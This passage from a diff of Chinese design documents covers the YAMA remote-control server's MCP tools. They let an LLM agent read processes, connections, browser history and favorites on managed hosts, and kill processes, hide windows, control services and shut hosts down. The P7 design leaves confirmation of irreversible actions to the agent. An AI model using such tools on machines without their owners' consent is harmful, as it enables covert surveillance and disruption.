0 字节文件补一个长度 0 的 `FFV2_LAST_CHUNK` 块(名字拼法与 worker 一致:`targetDir + relPath`),
接收端据此 `open(O_CREAT)`;随后 worker 的完成包只用于去重。**Windows 目标端不注入**——保持原有行为
(Windows 目标端的空文件仍不会被创建,属 V2 协议既有边界,见 §14.6)。
- 下载完成判定(F4 的补强):条目顺序由客户端决定,目录可能排在**最后**(如空子目录),所以
`OnFileChunkV2` 的目录分支现在按 `filesDone + directoryCount >= totalFiles` 判完成。此前只比目录数,
目录排在文件之后时整次下载会干等到超时(实测 4 个文件全部 COMPLETE 后仍卡 60 s)。
### 15.3 工具契约变化
| 工具 | 变化 |
|---|---|
| `download_file` | 支持 LNX/MAC 目标端(`remote_path` 用绝对 POSIX 路径);新增错误来源 `-32009`/`-32010`(来自客户端 `TOKEN_DOWNLOAD_ERROR`) |
| `upload_file` | 支持 LNX/MAC 目标端(`remote_dir` 用绝对 POSIX 路径);输出新增 `receiver_ack`(boolean);新增 `-32011`(目标端回执报写入失败)与 `-32001`(声明会回执却不回,且传输含字节) |
`upload_file` 的错误补充(其余码与 §7.7 一致):
| 码 | 触发 |
|---|---|
| `-32011` | 目标端回了 176 且 `status != 0`;文案带 status、首个 errno、实收文件数(13/1→权限、2→路径不存在、28→磁盘满) |
| `-32001` | 传输完成但支持回执的目标端在 5 s 内没有回执(目标端可能中途掉线);全 0 字节的传输不判失败(接收端学不到 `totalFiles`,无从回执) |
`receiver_ack` 语义与 §14.5 一致:`true` 只可能来自 Linux 目标端;Windows 目标与 macOS 目标恒为 `false`
(macOS 编译侧 `macos/main.mm` 没有全局主连接句柄,本次未接线),要确证落盘请用 `list_files` 复核。
### 15.4 验证(Debug 实例 6543/6546,WSL Ubuntu 24.04 的 `linux/ghost` 以 yuan(1000) 运行)
源目录含:`a.txt`(12 B)、`empty.txt`(0 B)、`sub/b.bin`(3 MB)、`emptydir/`、`中文名.txt`(14 B)。
| 用例 | 结果 |
|---|---|
| `upload_file` → `/tmp/yama_mcp/final` | 4 文件 + 空目录到位,SHA-256 全对(`ddda4069…`/`e3b0c442…`/`834dcf1d…`/`b2a71864…`),`receiver_ack:true`,`total_bytes=3145754` |
| 同上 `overwrite=false` 重传 | 全部跳过(`skipped=4`),不发包 |
| `download_file` 整目录 | 4 文件 + 空目录,SHA-256 全对,`total_bytes=3145754` |
| 单文件 / 单文件中文名 / 只含空子目录的目录 | 均成功(后者 0.2 s 级返回,不再等超时) |
| `download_file` 不存在的路径 | `-32009`(errno 2 → win32 2) |
| `remote_path` 给 `C:\tmp\x` 或含 `..` | `-32602` |
| `upload_file` 到 `/` 或 `/root/yama_x`(非 root) | `-32011`(errno 13/2) |
| Windows 目标端 `upload_file` / `download_file` / `copy_files_c2c` 回归 | 与改动前一致(Windows 目标的空文件仍不落地,`receiver_ack` 仍为 `false`) |
注:WSL 重启后 Linux 客户端的 machine-id 会变,`id` 随之改变,测试脚本以运行时 `list_online_hosts` 为准。
+273
View File
@@ -0,0 +1,273 @@
# MCP P8 设计:在线主机 TLS 字段 / 连接管理 / 主机管理
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3~P6 → `Mcp_Manage_Design.md`(P7)。
> P7 复用的是「系统/窗口/服务」对话框使用的 `COMMAND_SYSTEM`、`COMMAND_WSLIST`、
> `COMMAND_SERVICECONFIG` 链路;本轮要覆盖的「连接管理」与「主机管理」走的是**另一套**
> 命令(`COMMAND_CONNECTION` / `COMMAND_MACHINE_MANAGE`),必须在同一子连接上收发多步,
> 因此新增一层会话抽象,并为工具族增加独立开关。
>
> 安全门结论(已确认):新增独立 `host_*` 工具族;写入范围限定「只读 + 可恢复操作」;
> 开关分两层——`McpMachine`(工具族总开关)与 `McpMachineDangerous`(高风险子集),
> 均默认关闭,并与 `McpReadonly` 叠加。现有 27 个工具(含 P7)一律不改行为。
## 1. 范围
| 交付 | 内容 |
|---|---|
| TLS 字段 | `list_online_hosts` / `search_hosts` / `get_host_detail` 增加 `tls` |
| 连接管理 | `list_network_connections`、`kill_network_connection` |
| 主机管理读 | 10 个标签页各一个:`host_list_processes` … `host_get_hosts_file` |
| 主机管理写 | `host_control_process` / `host_control_window` / `host_control_service` / `host_control_task` |
| 配置 | 设置对话框两个复选框 + 启动接线(`McpMachine` / `McpMachineDangerous`) |
不做的(明确排除):kill 进程、关闭窗口、删除服务/任务、卸载软件、写 hosts、
创建任务、强制删除文件、代码注入。
## 2. TLS 字段
- `HostJson.cpp` 的 `BuildHostJson()` 末尾追加
`device["tls"] = (ctx->GetClientData(ONLINELIST_TLS) == "Y");`。
数据源是登录时写入的 `ONLINELIST_TLS`(`2015RemoteDlg.cpp` 收到 `RES_TLS=="1"` 时置 `"Y"`)。
- 语义:**登录凭据**,不是实时探测。老客户端不上报该值 → `false`。
- `BuildHostJson` 同时被 WebService 的设备列表复用,Web 端也会多出该字段(向后兼容)。
- `get_host_detail` 复用 `BuildHostItemSchema()`,自动带上。
## 3. 会话架构
两条新链路都需要「主连接发一条命令 → 客户端新建子连接 → 子连接回就绪包 →
在同一子连接上多次收发」,现有 `m_Pending` 只能等主连接上的单包。做法是给
`PendingRequest` 增加 `kind`,**复用同一张表** `m_Pending`(从而天然保证「单设备单飞行」),
而不是另开一套状态。
```cpp
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr };
```
| 成员 | 用途 |
|---|---|
| `m_SubCtxToDevice` | 已绑定的子连接 → device;绑定的子连接上所有包都由 MCP 消费 |
| `m_AbsorbedSubCtx` | `CancelIO` 后仍可能到达的包:静默丢弃 |
| `m_OrphanByDevice` / `m_OrphanByPeer` | 5 秒墓碑,防止迟到的就绪包弹出 MFC 对话框 |
### 3.1 时序(工具线程)
```
BeginMachineSession(dev, tool, mainCtx) // 登记单飞行;忙 → -32003
→ 主连接 Send2Client(COMMAND_MACHINE_MANAGE)
→ 客户端开 CMachineManager 子连接,回 TOKEN_SYSINFOLIST(61)
→ OnManagedSubPacket 绑定子连接、保存首包、notify_all
WaitManagedPacket(dev, 61, …, 5000) // 就绪
每次读:
ArmManagedResponse(dev, 期望 token)
→ 子连接 Send2Client([tab 0..9]) / WaitSendIdle
→ WaitManagedPacket(dev, 期望 token, …, 12000)
EndManagedSession(dev, cancelIo=true) // 关闭子连接,不留长连接
```
整体 60 秒会话截止;每一步取 `min(step, deadline - now)`。所有超时返回 `-32001`。
### 3.2 子连接路由(`OnManagedSubPacket`)
在 `3.1` 的模型下,UI 线程收到的每个包先经过钩子
(`MessageHandle` 中终端拦截块之后、`switch (cmd)` 之前):
1. 已绑定 → 只保留 `expectedToken` 匹配的包;`TOKEN_MACHINE_MSG(42)` 存为
`clientError`(CP936→UTF-8);其余丢弃。已绑定的子连接上的一切包都归 MCP。
2. `m_AbsorbedSubCtx` 命中 → 丢弃。
3. 未绑定且 token 不是 `61` / `255` → 交回主 switch(MFC 行为不变)。
4. 未绑定且是 `61` / `255`:
- 该 context 就是主连接(`FindMainContext(parent, cid)`)→ 交回主 switch;
- 否则在同 device 的未绑定会话中按 `clientID` 精确绑定;
- 老客户端子连接 `clientID` 可能为 0 → 按 `peer` 兜底,**仅当同 peer 唯一**时才绑定;
- 都不命中:墓碑未过期 → 吸收 + `CancelIO` + 消费;否则交回主 switch
(用户手动打开对话框)。
### 3.3 必须同步调整的现有语义
- `IsPending()` 排除 `Machine` / `ConnMgr`:否则会话在飞时用户点「进程管理」,
`case TOKEN_PSLIST` 会把界面包抢走。
- `TakeMainResponse()` 顶部对 managed kind 直接返回。
- `OfflineProc` 在 `OnManageSubClosed` 之后、`RemoveFromHostList` **之前**调用
`OnManagedContextClosed`(否则连接池复用同一 context 指针后,新连接的包会被误吞)。
- 锁序:`parent->m_cs` → `m_PendingMutex`;持锁期间禁止 `Send2Client` / `CancelIO` /
`WaitSendIdle`。
### 3.4 健壮性
- UI 线程只做「有界拷贝 + 保存 + 唤醒」:单包上限 8 MiB,超限置 `clientError` 并 `CancelIO`。
- 解析全部在 MCP 工作线程上做;字符串一律用 `BoundedStrlen` / 显式偏移,
未对齐的多字节整数用 `memcpy`,禁止指针强转。
- 客户端部分列表用 `Send(buf, LocalSize(buf))` 发送,长度可能带出少量尾随 0 填充:
记录解析循环遇到「剩余全 0」即结束,定长记录列表忽略不足一条记录的尾部。
## 4. 连接管理
### 4.1 协议
- 主连接:`COMMAND_CONNECTION(253)`;客户端建 `CConnectionsManager` 子连接。
- 子连接回 `[255][u16 LE count][ConnectionInfo × count]`。
- `ConnectionInfo`(`common/commands.h`,`#pragma pack(1)`,110 字节,已 `static_assert`):
`proto(1)` / `af(1)` / `pid(4)` / `localAddr[16]` / `localPort(2,主机序)` /
`remoteAddr[16]` / `remotePort(2,主机序)` / `state(4)` / `procName[64](UTF-8)`。
地址为网络序;IPv4 取前 4 字节,`af == AF_INET(2)`,IPv6 为 `AF_INET6(23)`。
- 强制断开:子连接发 `[254][原始 110 字节记录]`;客户端 `SetTcpEntry(DELETE_TCB)`
后自动重发一次 255。
### 4.2 工具
| 工具 | 门控 | 说明 |
|---|---|---|
| `list_network_connections` | `McpMachine` | 过滤 `protocol/family/pid/process/local_port/remote_port/remote_address/state` + 分页;输出 `killable = (proto==1 && af==AF_INET)` |
| `kill_network_connection` | `McpMachine && McpManage && !McpReadonly` | 必填四元组;可选 `pid` 消歧、`dry_run` |
`kill_network_connection` 的流程刻意避免「重新拼地址」:
1. 取最新列表,**按原始 110 字节记录精确匹配**四元组(可选同时校验 PID);
2. 匹配 0 条 → `-32009`(调用方应刷新);匹配多条 → `-32602`(要求给 `pid`);
3. 目标不是 IPv4 TCP → `-32005`,不发包;
4. `dry_run` → 直接返回目标;
5. `Arm(255)` → 发 `[254][原记录]` → 等刷新列表 → 复核该四元组是否消失。
客户端 `SetTcpEntry` 的返回值被忽略且需要管理员权限,所以「断开后仍在」返回
`structuredContent.ok=false, reason="still_present"`,**绝不谎报成功**。
每次调用写审计:`tcp a:p->b:q pid=N result=…`。
## 5. 主机管理
### 5.1 协议
- 主连接:`COMMAND_MACHINE_MANAGE(162)` → 客户端 `CMachineManager` 子连接回
`TOKEN_SYSINFOLIST(61)`。
- 之后在同一子连接上发 **1 字节 tab**(0–9),响应 token 31–42。
- 动作 10–30;多数动作客户端会自动回一份刷新后的列表(服务 = 40,任务 = 41),
进程冻结/解冻(16/17)与窗口操作(11)**不回包**。
`MachineManager` 枚举(`common/commands.h`):请求 0 PROCESS / 1 WINDOWS / 2 NETSTATE /
3 SOFTWARE / 4 HTML / 5 FAVORITES / 6 WIN32SERVICE / 7 DRIVERSERVICE / 8 TASK / 9 HOSTS;
响应 31 PROCESS / 32 WINDOWS / 33 NETSTATE / 34 SOFTWARE / 35 HTML / 36 FAVORITES /
37 WIN32SERVICE / 38 DRIVERSERVICE / 39 HOSTS / 40 SERVICE_LIST / 41 TASKLIST / 42 MACHINE_MSG。
### 5.2 读工具
| 工具 | tab | 响应 | 主要过滤 |
|---|---|---|---|
| `host_list_processes` | 0 | 31 | `pid` / `name` / `arch` |
| `host_list_windows` | 1 | 32 | `pid` / `title` |
| `host_list_network_state` | 2 | 33 | `pid` / `process` / `protocol` / `local_port` / `remote_port` / `state` |
| `host_list_software` | 3 | 34 | `name` / `publisher` |
| `host_list_browser_history` | 4 | 35 | `title` / `url` |
| `host_list_favorites` | 5 | 36 | `name` / `url` |
| `host_list_win32_services` | 6 | 40 | `name` / `status` / `start_type` |
| `host_list_driver_services` | 7 | 40 | 同上 |
| `host_list_scheduled_tasks` | 8 | 41 | `name` / `folder` / `status` |
| `host_get_hosts_file` | 9 | 39 | `include_content` / `max_bytes` |
公共分页 `offset`(默认 0)/ `limit`(默认 100,上限 1000);输出
`total`(过滤后)/ `totalAll` / `offset` / `limit` / `hasMore`。
### 5.3 记录格式(与 `CMachineDlg::Show*` 逐字段对齐)
| 列表 | 格式 |
|---|---|
| 进程 31 | `DWORD pid`、`bool is64`、`title[260]`、`exe`+pad、`path`+pad、`DWORD priClass`、`DWORD threads`、`user`+pad、`DWORD workingSetKb`、`DWORD fileSizeKb`;CP936 |
| 窗口 32 | `WINDOWSINFO` 定长 1044 字节;**只含可见窗口**;空列表 = 1 字节 |
| 网络状态 33 | 进程名、`DWORD pid`、`[TCP]/[UDP]`、`ip:port`、远端、状态,各串 +2;UDP 远端 `*.*.*.*:*`、状态为空;按最后一个 `:` 拆地址 |
| 软件 34 | 5 个串各 +2:显示名、发布者、版本、安装日期、卸载命令 |
| 浏览记录 35 | 定长 2148:`time[100]` + `title[1024]` + `url[1024]` |
| 收藏夹 36 | 2 个串各 +2 |
| 服务 40 | 8 个串各 +1 NUL:显示名、描述、状态、启动类型、登录身份、交互式、**服务名**、可执行路径 |
| 计划任务 41 | `name/path/exe` 为 UTF-8、`status` 为 GBK,各 +1 NUL;两个 `DATE`;两个 0 字节结束;`folder` 由 `path` 去掉末尾 `"\<name>"` 派生 |
| hosts 39 | `[39][文件原文][0]`;有 BOM → UTF-8,否则合法 UTF-8 → UTF-8,否则 CP936 |
### 5.4 写工具
统一模式:**先取列表校验目标存在 → 发动作 → 再取列表复核**。目标不在最新快照里
返回 `-32009`,绝不盲发。
| 工具 | action | 额外门控 | 动作包 | 复核 |
|---|---|---|---|---|
| `host_control_process` | `freeze` / `thaw` | `McpMachineDangerous` | `[16/17][DWORD pid]`(无回包) | 重新取 tab 0:PID 仍在 |
| `host_control_window` | `restore/hide/maximize/minimize` | — | `[11][DWORD hwnd][DWORD SW_*]` + 零填充到 20 字节(客户端只读前 9 字节) | 重新取 tab 1:hide 后 hwnd 应消失,其余应仍在 |
| `host_control_service` | `start`/`pause`/`continue` | — | `[22/24/25][服务名 CP936][NUL]` | 客户端自动回 40 |
| `host_control_service` | `stop`/`restart` | `McpMachineDangerous` | stop = `[23]`;restart = stop → 等 40 → start | 等 40(12 s),状态在期望集合内 |
| `host_control_task` | `run` / `stop` | — | `[29/28][folder CP936][NUL][name CP936][NUL]` | 客户端自动回 41:任务仍在 + 当前状态 |
补充规则:
- 服务动作前先取一次服务列表(prime),既校验目标,也把客户端 `m_dwServiceType`
钉到正确类型(Win32 / 驱动)。
- 已是目标状态时不下发动作,返回 `ok=true, changed=false, reason=already_*`。
- 冻结/解冻、窗口动作、任务动作**没有回执**:`verified` 只表示「已用动作后的快照复核」,
不表示「动作一定生效」。冻结不改变进程存在性,因此只能确认目标仍在。
- 写工具输入串(服务名、任务 folder/name)必须能转成 CP936,否则 `-32602`,不发包。
- 审计格式:`host <id> <tool>: action=… target=… result=…`。
## 6. 门控矩阵
| 配置 | 可见工具 | 直接调用被隐藏的工具 |
|---|---|---|
| `McpMachine=0`(默认) | 0 个 | `-32006` |
| `McpMachine=1, McpReadonly=1` | 11 个读工具(`list_network_connections` + 10 个 `host_list_*` / `host_get_hosts_file`) | 5 个写工具 → `-32006` |
| `McpMachine=1, McpReadonly=0, McpManage=1` | 16 个(含 5 个写) | — |
| `McpMachine=1, McpReadonly=0, McpManage=0` | 15 个(无 `kill_network_connection`) | `kill_network_connection` → `-32006` |
| `McpMachineDangerous=0` | 工具仍可见 | `host_control_process`、`host_control_service{stop,restart}` → `-32006` |
设置对话框勾选「危险主机操作」但未勾「主机管理」时,保存会清除危险开关并提示。
## 7. 错误码
沿用 P1–P7 的约定,新增 `-32009`:
| 码 | 含义 |
|---|---|
| `-32602` | 参数非法(含:目标多条匹配、字符无法用 CP936 表示) |
| `-32000` | 解析失败 / 客户端返回错误文本(`TOKEN_MACHINE_MSG`) |
| `-32001` | 超时(就绪 5 s / 列表 12 s / 会话 60 s) |
| `-32002` | 主机离线 |
| `-32003` | 设备忙(已有 MCP 会话在飞:单设备单飞行) |
| `-32004` | 发送失败 |
| `-32005` | 不支持(非 Windows 客户端;UDP/IPv6 断连) |
| `-32006` | 开关未开启 |
| `-32009` | **目标在最新快照中不存在**(调用方应刷新后重试) |
## 8. 已知限制
1. **token 数值碰撞**:机器响应 31–42 与 `COMMAND_KEYBOARD/AUDIO/SYSTEM/SHELL/…` 同值。
靠「先按子连接身份路由」解决——未绑定的子连接不会按 token 猜测。
2. **UI 争抢就绪包**:用户恰好在 MCP 请求期间点开同一对话框时,首包可能被 MCP 绑定,
界面对话框这次不弹(与 P7 的取舍一致),重试即可。
3. **5 s 墓碑**:MCP 异常结束后 5 s 内手动打开同一台主机的对话框可能被吞,重试即可。
4. **老客户端子连接 `clientID=0`**:靠 peer 兜底,仅在同 peer 唯一会话时绑定。
5. **权限**:`SetTcpEntry`、冻结/解冻、服务控制需要客户端管理员;失败按「未生效」如实返回。
6. **编码**:机器协议以 CP936 为主;任务 `name/path/exe` 为 UTF-8、`status` 为 GBK;
写回输入统一转 CP936。GBK 不可表示的字符明确报 `-32602`。
7. **`host_list_network_state` 只有 IPv4**:数据来自客户端自身的 `GetTcpTable` 视图,
与「连接管理」(`ConnectionInfo`,含 IPv6)不是同一份数据。
8. **`McpMachineDangerous` 只覆盖本轮高风险动作**;后续加入 kill/删除/卸载/注入时,
必须按 `McpMachine && McpMachineDangerous && !McpReadonly` 三层校验。
9. **`host_control_window {action:"hide"}` 是单向的**:客户端只枚举可见窗口,隐藏后该 hwnd
从快照中消失,再发 `restore` 会在发包前被 `-32009` 拦下(MFC 对话框同样无法再操作它)。
实测确认:`hide` 复核为 `state:"hidden"`,随后 `restore` 返回 `-32009`。
10. **`host_control_service {action:"pause"}` 依赖服务自身支持 PAUSE**:实测虚拟机上的
`Spooler` 下发 PAUSE 后状态仍为 `Running`,工具如实返回 `ok:false, reason:"unexpected_state"`
(不谎报成功)。`start/stop/continue/restart` 在同一台机器上均通过。
11. **开关只在进程启动时读取**(Release 版配置来自注册表 `HKCU\Software\YAMA\settings`,
不是 `Bin\settings.ini`);在「MCP设置」里改动 `McpMachine` / `McpMachineDangerous` /
`McpReadonly` 等必须重启服务端才生效。未重启时 `tools/list` 里看不到新工具,
直接调用返回 `-32006`。
## 9. 验证要点
- TLS:`RES_TLS=1` 的主机三个工具都返回 `tls:true`;老客户端 `false`。
- 路由:MCP 关闭时手动打开「主机管理」「连接管理」照常工作;
`host_list_favorites`(token 36,与键盘等命令同值)在飞时手动打开「进程管理」,
两边都不串包。
- 迟到包:强制就绪超时后,61/255 到达应被吸收且不弹对话框。
- 单飞行:同主机并发两个 host/connection 工具,第二个 `-32003`;两台主机并发都成功。
- 连接管理:与对话框逐条对比;断开后复核消失;UDP/IPv6 → `-32005`;过期四元组 → `-32009`。
- 10 个读工具:与 MFC 标签页对比行数、首末行、中文编码;空 tab 返回 `total:0`。
- 4 个写工具:freeze→thaw、窗口四动作、服务五动作、任务 run/stop;过期目标发包前 `-32009`。
- 回归:现有 27 个工具、终端、远程控制、文件传输、10 个 MFC 标签页行为不变。
- 资源:连续调用 20 次 host 工具,服务端无残留子连接。
+219
View File
@@ -0,0 +1,219 @@
# MCP P7 设计:设备管理控制(kill / window / service / power)
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3/P4/P5/P6 的阶段演进。
> 本文定义 P7:把 YAMA 服务端高频「控制类」操作 MCP 化,补上从「观测」到「管控」的短板,
> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
>
> 安全门结论(已确认):新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具,
> 并要求 `McpReadonly=0`;不再为每个工具单设开关。
## 1. 目标与范围
P7 交付 4 个控制类工具,覆盖服务端日常最常用的写操作:
| 工具 | 动作 | 命令 | 连接 | 确认方式 |
|---|---|---|---|---|
| `kill_process` | 结束进程(多 pid) | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`;test 补发 `COMMAND_WSLIST` |
| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走(无响应) |
仅 Windows 客户端支持(`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`;注意 `list_services`
只排除了 LNX/MAC、漏掉 APK,P7 需把 APK 一并排除)。
## 2. 复用现状
P7 **不改客户端**。客户端已全部实现下列处理(MFC 界面在跑),MCP 侧只需补齐
「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链:
- 系统子连接:`COMMAND_SYSTEM`(进程)/ `COMMAND_WSLIST`(窗口)→ 客户端开 `CSystemManager`
子连接(`client/KernelManager.cpp` 1169/1182,`client/SystemManager.cpp`)。
- `COMMAND_KILLPROCESS`:`CSystemManager::KillProcess`(`TerminateProcess`,无回包)。
- `CMD_WINDOW_CLOSE`:`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
- `CMD_WINDOW_TEST`:`ShowWindow(hwnd, dHow)`(不自动回包)。
- `COMMAND_SERVICECONFIG`:`CServicesManager::ServicesConfig`(`client/ServicesManager.cpp` 213),
bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动,每项后 `Sleep(500)` + `SendServicesList`。
- `TOKEN_MACHINE_MANAGE`:`KernelManager.cpp` 872,`ExitWindowsEx`(注销/关机/重启)。
复用现有 MCP 基建(`server/2015Remote/McpServer.{h,cpp}`):
- `ParseHostIdArg` / `FindMainContext`:入参解析 + 主连接定位。
- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`:单飞行挂起 + 响应回收。
- `OnRegeditReady`:已示范「接管子连接 → 发后续命令」的范式(P3 list_registry 三阶段),P7 直接泛化。
## 3. 子连接生命周期(P7 核心新增)
写工具与只读工具的关键差异:只读工具「子连接回一包即完成」,写工具需要
「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
`followUp`(接管后要发的写命令 payload,二进制)+ `followUpSent`(是否已发写命令)两个字段:
```
followUpSent == false → 等子连接就绪(首包 TOKEN_*LIST 到达 = 就绪)
followUpSent == true → 已发写命令,等确认包
```
> 关键事实(已核实):三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
> 客户端子连接构造即回一包(就绪),写操作后再回一包(确认)。因此必须用 `followUpSent`
> 区分这两次到达,而不能靠 token 区分。这也是它与 `list_registry`(PATH/KEY 两个不同 token)
> 的差别。
流程(以 `kill_process` 为例):
1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行(false = 设备忙),并预填
`followUp`(`COMMAND_KILLPROCESS` 多 pid 包)。
2. 主连接发 `COMMAND_SYSTEM`。
3. 客户端开系统子连接,首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
`OnSystemReady(devId, subCtx)`(类比 `OnRegeditReady`):
- 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
`followUp`,随后补发 `COMMAND_PSLIST` 索取新列表。
4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走(`followUpSent==true`
命中)→ 关闭子连接(`CancelIO`)→ 唤醒工具线程。
5. 工具线程解析新进程列表返回;超时/失败走 `ClearPending`(**含 `subCtx->CancelIO()`**,防孤儿子连接)。
> 注意:`followUp`(写命令)与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
> `Send2Client` 调用**,不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发,
> 拼包会把后续字节当成 pid/hwnd 解析。
接管函数(进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上,
客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`):
| 工具 | 开子连接命令 | 就绪包(首包) | 接管后写命令 | 确认包(第二包) |
|---|---|---|---|---|
| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`(close 自动回);`CMD_WINDOW_TEST`(test 补 `COMMAND_WSLIST`) | `TOKEN_WSLIST` |
| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`(客户端写后自动 `SendServicesList`) | `TOKEN_SERVERLIST` |
`MessageHandle` 现有分派点(均已核实):
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支:`2015RemoteDlg.cpp:6540`(当前 `TakeMainResponse`+`CancelIO`)
- `TOKEN_SERVERLIST` 分支:`2015RemoteDlg.cpp:6585`(同上)
接入方式:在这两个分支的 `IsPending(devId)` 命中后,**先按 `pending.tool` 判断是否为
写工具(kill/operate/control_service)**;是则调 `OnSystemReady`/`OnServiceReady`(返回 true
= 已接管、不 `CancelIO`),否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
分支调用 `OnRegeditReady`(`2015RemoteDlg.cpp:6561`)的写法一致,避免与人工界面抢子连接。
## 4. 工具 schema
### 4.1 `kill_process`
```jsonc
// inputSchema
{ "id": "string(必填,主机 id)",
"pids": ["integer 数组(必填,至少 1 个进程 PID)"] }
// outputSchema
{ "remaining": ["integer 数组(杀完后仍在运行的 PID)"] }
```
- payload:`[COMMAND_KILLPROCESS:1][pid:4]*N`(DWORD 小端,与 `SystemDlg::OnPlistKill` 一致)。
- 成功判定:返回 `remaining`(发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功)。
- 描述需写明:`TerminateProcess` 强制结束、不保存进程状态,可能造成数据丢失。
### 4.2 `operate_window`
```jsonc
// inputSchema
{ "id": "string(必填)",
"hwnd": "integer(必填,窗口句柄,取 list_windows 返回的 hwnd)",
"action": "string(必填)close|show|hide|minimize|maximize|restore" }
// outputSchema
{ "ok": "boolean" }
```
- payload(与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致,
**固定 20 字节零填充 `BYTE lpMsgBuf[20]`,hwnd 一律按 `DWORD`(4 字节)小端写入 offset 1**):
- `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`(客户端 `PostMessage WM_CLOSE`)。
- 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`,dHow 映射(MFC 实测值):
`hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
`maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
- 缓冲器必须补零到 20 字节:客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`,在 x64 是 8 字节,
而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节,读出的 HWND 才是正确值;
若 MCP 发最小 5 字节包,会越界读。`test` 分支(`TestWindow`)读 `[hwnd:4][dHow:4]` 共 9 字节,
20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此,MCP 照搬。
### 4.3 `control_service`
```jsonc
// inputSchema
{ "id": "string(必填)",
"service_name": "string(必填,服务名,取 list_services 返回的 service_name)",
"action": "string(必填)start|stop|set_auto|set_manual" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`,
bCmd:`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
- 边界:客户端 `ServicesManager` 仅实现这 4 项;**无** pause / continue / delete
(它们属于 `MachineDlg` 机器管理的另一条链路,留待 P8 评估)。
### 4.4 `power_action`
```jsonc
// inputSchema
{ "id": "string(必填)",
"action": "string(必填)logout|shutdown|reboot" }
// outputSchema
{ "ok": "boolean" }
```
- payload:`TOKEN_MACHINE_MANAGE [token:1][type:1]`,type:`logout=0` / `shutdown=1` / `reboot=2`
(`enum MachineCommand` 顺序)。MFC 发的是 32 字节缓冲(`2015RemoteDlg::MachineManage`),
但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`,故 2 字节即可。
- 走**主连接**、发完即走、无响应;主机将立即离线。描述需明确「不可撤销、主机下线」。
- 需客户端管理员权限(`EnableShutdownPrivilege`),无权限时客户端静默忽略(同 MFC 现状)。
- **仅 Windows 客户端**:Linux 侧文档写的是 `COMMAND_SESSION`(`linux/README.md`),但代码中
未发现对应 handler,即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
`-32005`,不尝试发送。
## 5. 安全门(单一 `McpManage` 开关)
- 新增配置键 `settings/McpManage`(默认 `0`,关闭)。
- 生效条件:`McpManage=1` 且 `McpReadonly=0`;二者任一不满足即隐藏 4 个工具。
- 双保险:`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验(与 `exec_command` 的
`IsReadonly()` 双保险一致)。
- `McpSettingsDlg` 增加「管理操作(进程/窗口/服务/电源)」复选框,写入 `THIS_CFG`。
- 审计:每次写操作写入服务端审计日志(`get_audit_log` 可见),记录 tool + host id + 参数摘要 + 结果。
## 6. 单飞行与并发约束
- 沿用现有约束:同 host 同一时刻只允许一个 MCP 挂起请求(`BeginPending` 保证)。
- 写工具与只读工具共用 `m_Pending`,天然互斥;与 MFC 对话框并存(各用独立子连接,互不干扰)。
- 超时沿用 `kMcpToolTimeoutMs = 20000`;`power_action` 因无响应、发完即返回成功。
## 7. 边界与风险
1. **杀进程/关机/重启不可逆**:描述与审计都需显著标注;不提供「确认对话框」,
确认责任在调用方(MCP 客户端/LLM agent)。
2. **kill 无客户端回执**:成功与否靠「新进程列表不含目标 pid」推断,`TerminateProcess`
